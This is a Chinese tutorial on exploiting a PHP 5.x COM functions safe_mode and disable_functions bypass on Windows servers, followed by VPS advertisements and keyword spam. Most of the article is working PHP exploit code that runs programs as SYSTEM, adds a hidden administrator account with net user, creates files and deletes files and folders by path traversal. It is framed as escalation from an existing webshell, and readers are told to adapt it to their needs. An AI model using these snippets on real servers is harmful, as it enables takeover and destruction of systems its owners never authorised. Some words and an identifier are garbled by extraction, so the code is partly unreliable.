漏洞PHP-5.x-COM-functions提权漏洞的利用分析

24k99 com  时间:2021-02-20  阅读:()

PHP 5.x COM functions提权漏洞的利用分析

PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。

现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On

disable_functions=com_load_typel ibopen_basedir=htdocs

下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数

这个漏洞的测试代码如下。

<?php

$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');

//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本

?>

将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。

利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。

Wscript运行命令

这个漏洞的测试代码如下。

<?php

$wscript=new COM('wscript.shel l '); //要用到wscript.exe

$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe

?>

访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。

<?php

$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");

?>

访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示

wshom.ocx中的OpenTextFi le

OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。

<?php

$mPath=str_repeat(". .\\",20);

$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx

$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了

?>

果然在C区根目录出现了这个批处理文件bat.b at如图5所示

wshom.ocx中的DeleteFi le

这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFi le=new COM('Scripting.Fi leSystemObject');

//利用了ws h o m.o cx

$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);

//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder

利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php

$mPath=str_repeat(". .\\",20);

$FSOdelFolder=new COM('Scripting.Fi leSystemObject');

//使用ws h o m.o cx

$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);

//删除特定的文件夹

?>

访问之后成功删除了c:\11这个文件夹。

shgina.dl l中Create函数创建账户

这个漏洞的测试代码如下

<?php

$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');

//利用shgina.dl l$user->Create("asd");

//创建账户asd

?>

不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示

关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦

pacificrack:2021年七夕VPS特别促销,$13.14/年,2G内存/2核/60gSSD/1T流量,支持Windows

pacificrack官方在搞2021年七夕促销,两款便宜vps给的配置都是挺不错的,依旧是接入1Gbps带宽,KVM虚拟、纯SSD raid10阵列,支持包括Linux、Windows 7、10、server2003、2008、2012、2016、2019在内多种操作系统。本次促销的VPS请特别注意限制条件,见本文末尾!官方网站:https://pacificrack.com支持PayPal、支...

hostodo:美国大流量VPS,低至$3,8T流量/月-1.5G内存/1核/25gNVMe/拉斯维加斯+迈阿密

hostodo从2014年年底运作至今一直都是走低价促销侧率运作VPS,在市场上一直都是那种不温不火的品牌知名度,好在坚持了7年都还运作得好好的,站长觉得hostodo还是值得大家在买VPS的时候作为一个候选考虑项的。当前,hostodo有拉斯维加斯和迈阿密两个数据中心的VPS在促销,专门列出了2款VPS给8T流量/月,基于KVM虚拟+NVMe整列,年付送DirectAdmin授权(发ticket...

妮妮云(30元),美国300G防御 2核4G 107.6元,美国高速建站 2核2G

妮妮云的来历妮妮云是 789 陈总 张总 三方共同投资建立的网站 本着“良心 便宜 稳定”的初衷 为小白用户避免被坑妮妮云的市场定位妮妮云主要代理市场稳定速度的云服务器产品,避免新手购买云服务器的时候众多商家不知道如何选择,妮妮云就帮你选择好了产品,无需承担购买风险,不用担心出现被跑路 被诈骗的情况。妮妮云的售后保证妮妮云退款 通过于合作商的友好协商,云服务器提供2天内全额退款,超过2天不退款 物...

24k99 com为你推荐
spgnuxps = getCon().prepareStatement(sql);啥意思,求注释,要是不嫌麻烦帮我把下面的也给注释了免费开通黄钻怎样能免费开通黄钻会员1433端口如何打开SQL1433端口网站联盟百度网盟是什么,怎么加入开机滚动条电脑开机启动滚动条时间长怎么办?小米3大概多少钱小米3现在多少钱网页打开很慢为什么我打开网页很慢什么是云平台什么是云平台管理软件,一个云平台软件应该具有哪些基本功能声母是什么什么是声母,什么是音母?淘宝软文范例做微商让淘宝代写一篇软文发布招代理有效果吗
哈尔滨服务器租用 大庆服务器租用 私服服务器租用 西安服务器租用 动态ip的vps highfrequency 特价空间 网络星期一 表格样式 监控宝 英文站群 嘟牛 193邮箱 常州联通宽带 ca187 湖南idc 贵阳电信测速 阿里云手机官网 登陆qq空间 hdchina 更多